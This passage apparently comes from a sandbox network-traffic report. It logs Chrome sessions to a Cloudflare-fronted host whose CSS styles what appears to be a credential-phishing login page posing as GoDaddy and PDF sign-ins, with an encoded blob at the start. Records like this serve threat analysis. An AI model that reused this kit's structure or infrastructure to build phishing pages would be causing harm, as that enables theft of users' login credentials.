msMFQxRJFhrWhpNEQYNH3M7XVVYGEVSQlFtFndVWARKFgsHcztdVVgYRVJCUW0KeBERTlt/aFFtFndJV0sAERYYIlhpeHI1b1JCUW0KJBAbTAwdDFEkUmpXC10GBgseI2kuGg1cChwWGSxAMhQbWwABEVNtVTsUC0tYUAZcI1k5EFoGaHhCUW0Wd1VYGFkWCwdtVTsUC0tYUAMEOV56AgpZFQIHA28IWn9YGEVSQlFtFndVWBhZFgsHbVU7FAtL
2024-04-24 06:22:00 UTC	1369	IN	Data Raw: 56 33 42 78 31 4c 43 67 63 51 45 69 67 59 57 6e 39 59 47 45 56 53 51 6c 46 74 46 6e 64 56 57 42 68 5a 58 51 59 59 4f 77 68 61 66 31 67 59 52 56 4a 43 55 57 30 57 64 31 56 59 47 46 6b 57 43 77 64 74 56 54 73 55 43 30 74 59 55 42 73 65 4f 46 49 34 47 77 78 51 42 41 51 48 45 43 35 56 4d 67 59 4c 57 67 6f 47 46 68 34 67 46 47 6c 34 63 68 68 46 55 6b 4a 52 62 52 5a 33 56 56 67 59 52 55 34 47 47 44 73 57 4e 42 6b 5a 53 78 5a 50 51 41 67 69 51 7a 4d 61 46 6b 77 4e 45 78 51 55 4c 46 55 30 45 41 74 4c 42 78 30 57 42 53 4a 62 4f 41 55 4d 55 51 6f 63 51 68 63 69 52 44 70 59 48 30 6f 4b 42 78 4a 54 63 7a 74 64 56 56 67 59 52 56 4a 43 55 57 30 57 64 31 56 59 42 41 52 53 42 68 41 35 56 33 6f 63 48 41 56 48 49 52 55 59 4f 56 55 2f 49 41 74 64 46 31 42 43 48 69 4e 56 4f Data Ascii: V3Bx1LCgcQEigYWn9YGEVSQlFtFndVWBhZXQYYOwhaf1gYRVJCUW0Wd1VYGFkWCwdtVTsUC0tYUBseOFI4GwxQBAQHEC5VMgYLWgoGFh4gFGl4chhFUkJRbRZ3VVgYRU4GGDsWNBkZSxZPQAgiQzMaFkwNExQULFU0EAtLBx0WBSJbOAUMUQocQhciRDpYH0oKBxJTcztdVVgYRVJCUW0Wd1VYBARSBhA5V3ocHAVHIRUYOVU/IAtdF1BCHiNVO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49775	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:01 UTC	1401	OUT	GET /563KK3u3NwxxyErXHsR6720 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:01 UTC	639	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:01 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="563KK3u3NwxxyErXHsR6720" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8GuZg41UUXE0SmxmXhGNPMJOT9wrsy0MS4OUawFdS%2FxhSAQC7Mt5JIL%2BMVof0TApGZ4N2mYS7N0l%2BRHiCl51VQXIjlrTTtI1UaWMb2aYq5kwb%2BSGPHgTighCwcr%2FEQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff1a68d728f3-LAX
2024-04-24 06:22:01 UTC	730	IN	Data Raw: 33 37 61 33 0d 0a 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e Data Ascii: 37a3*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 6f 6c 69 61 6e 20 42 61 69 74 69 22 2c 22 4d 56 20 42 6f 6c 69 22 2c 22 4d 79 61 6e 6d 61 72 20 54 65 78 74 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 7d 2e 77 65 62 73 69 74 65 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 61 Data Ascii: a","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.websitesections{height:100%;width:100vw;position:relative}#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sections_pdf a
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 32 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 7b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 34 30 70 78 20 34 30 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 31 2e 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 20 6c 64 73 2d 73 70 69 6e 6e 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 31 2e 31 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 7b 74 72 61 6e 73 Data Ascii: 20%;background:#000}#sections_pdf .lds-spinner div{transform-origin:40px 40px;animation:1.2s linear infinite lds-spinner}#sections_pdf .lds-spinner div:first-child{transform:rotate(0);animation-delay:-1.1s}#sections_pdf .lds-spinner div:nth-child(2){trans
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 6e 64 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 39 32 29 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 61 64 65 72 62 69 67 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 25 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 61 6c 6c 42 6c 6f 63 6b 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 Data Ascii: nd:rgba(0,0,0,.192)}#sections_pdf .loaderbig{position:absolute;width:100px;height:100px;margin-top:15%}#sections_pdf .allBlock{position:relative;margin-top:30px;margin-left:auto;margin-right:auto;width:100%;display:flex;justify-content:center;flex-directi
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 31 32 35 70 63 20 35 70 78 20 30 20 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 6c 6f 67 69 6e 62 6f 78 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 33 2e 37 35 70 74 20 2e 30 35 32 30 38 33 33 33 33 69 6e 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6f 70 74 73 3a 68 6f 76 65 72 2c 2e 62 61 63 6b 3a 68 6f 76 65 72 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 Data Ascii: items:center;justify-items:center;display:flex;border-radius:.3125pc 5px 0 0}#sections_pdf .login .loginbox{border-radius:0 0 3.75pt .052083333in}#sections .opts:hover,.back:hover,.row.tile:not(.no-pick):hover{background-color:rgba(0,0,0,.1)}#sections_pdf
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 37 39 29 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 3b 62 6f 72 Data Ascii: .login .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_pdf .login .selectProvider .choseemails>span{color:#fff;width:100%;height:auto;margin:auto;text-align:center;background-color:rgba(0,0,0,.379);padding:15px;bor
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 6d 7b 66 72 6f 6d 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 75 6e 73 65 74 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 44 6f 74 7b 30 25 2c 32 30 25 7b 6c 65 66 74 3a 30 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 6f 70 61 63 69 74 79 3a 30 7d 32 35 25 2c 37 35 25 7b 6f 70 61 63 69 74 79 3a 31 7d 33 35 25 7b 6c 65 66 74 3a 34 35 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 7d 36 35 25 7b 6c 65 66 74 3a 36 30 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 Data Ascii: m{from{opacity:.4;pointer-events:none}to{opacity:1;pointer-events:unset}}@keyframes progressDot{0%,20%{left:0;animation-timing-function:ease-out;opacity:0}25%,75%{opacity:1}35%{left:45%;animation-timing-function:linear}65%{left:60%;animation-timing-functi
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 35 73 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 36 35 73 7d 23 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 63 65 6c 6c 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 23 73 65 63 74 69 6f 6e 73 20 2e 73 65 63 74 69 6f 6e 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 Data Ascii: ding-container.loading .dot-floating:nth-child(4){animation-delay:.5s}#sections .loading-container.loading .dot-floating:nth-child(5){animation-delay:.65s}#sections{height:100vh;width:100vw;display:table-cell;max-width:100%}#sections .sectioncontent{posit
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 78 3b 68 65 69 67 68 74 3a 33 36 70 78 3b 6f 75 74 6c 69 6e 65 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 32 30 70 78 29 7d 2e 69 6e 70 75 74 3a 68 6f 76 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 3a 68 6f 76 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 38 29 7d 2e 69 6e 70 75 74 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 7d 23 61 75 74 68 63 61 6c 6c 64 65 73 63 7b 66 6f Data Ascii: x;height:36px;outline:0;border-radius:0;-webkit-border-radius:0;background-color:transparent;width:calc(100% - 20px)}.input:hover,input[type=email]:hover,input[type=tel]:hover{border-color:rgba(0,0,0,.8)}.input::placeholder{font-size:15px}#authcalldesc{fo
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 30 7d 2e 61 6c 65 72 74 2d 65 72 72 6f 72 7b 63 6f 6c 6f 72 3a 23 65 38 31 31 32 33 7d 69 6e 70 75 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2b 6c 61 62 65 6c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 2e 64 69 72 6c 74 72 7b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 7d 2e 69 6e 70 75 74 2d 6d 61 78 2d 77 69 64 74 68 7b 6d 61 78 2d 77 69 64 74 68 3a 36 34 30 70 78 7d 2e 74 61 62 6c 65 2c 69 6e 70 75 74 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 6c 61 62 65 6c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 7b 62 6f 72 64 65 72 2d Data Ascii: m-left-radius:0;border-top-left-radius:0;border-left:0}.alert-error{color:#e81123}input.form-control+label.input-group-addon{border-radius:0}.dirltr{direction:ltr}.input-max-width{max-width:640px}.table,input{max-width:100%}label.input-group-addon{border-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49779	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:01 UTC	1395	OUT	GET /xydUz5DTJCpqPef27 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:01 UTC	631	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:01 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="xydUz5DTJCpqPef27" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wb0qzFWfaUOwq4Rw%2BouZc5wxBIngAHS5yn5QOlaR4PXIH532f0v3bfdhej9l5g2DS9iCXCZfWPzqb9cM5VgskdFQfd6aeZU6BY76Tj%2BVwyK0O%2F%2B6S9lv18GyBkVeNQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff1a7e887d03-LAX
2024-04-24 06:22:01 UTC	738	IN	Data Raw: 33 37 61 39 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 67 64 73 68 65 72 70 61 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 73 72 63 3a 20 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 62 6f 6c 64 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 62 6f 6c 64 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 2d 31 30 46 46 46 46 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 Data Ascii: 37a9@font-face{font-family: 'gdsherpa';font-weight: 700;src: url('/web8/assets/fonts/GDSherpa-bold.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-bold.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family:
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 77 65 69 67 68 74 3a 20 31 20 39 30 30 3b 73 72 63 3a 20 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 76 66 32 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 76 66 32 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 2d 76 61 72 69 61 74 69 6f 6e 73 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 2d 31 30 46 46 46 46 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 67 64 2d 73 61 67 65 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 73 72 63 3a 20 75 Data Ascii: weight: 1 900;src: url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gd-sage';font-weight: 700;src: u
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 31 2e 35 65 6d 29 20 2f 20 32 29 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 67 61 70 3a 20 30 2e 35 65 6d 3b 0d 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 20 20 2d 2d 75 78 2d 62 75 74 74 6f 6e 2d 69 63 6f 6e 2d 6d 61 72 67 69 6e 3a 20 63 61 6c 63 28 28 76 61 72 28 2d 2d 75 78 2d 74 33 37 39 6f 76 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 20 2a 20 31 65 6d 20 2d 20 31 2e 35 65 6d 29 Data Ascii: 1.5em) / 2); padding: 0; text-decoration: var(--ux-1f7if5p,underline); -webkit-text-decoration: var(--ux-1f7if5p,underline); gap: 0.5em; cursor: pointer; --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em)
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 62 6c 6f 63 6b 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 6e 6f 74 28 3a 65 6d 70 74 79 29 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 62 6c 6f 63 6b 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 Data Ascii: -size);}#sections_godaddy .ux-space.ux-space--block:empty { display: inline-flex; block-size: 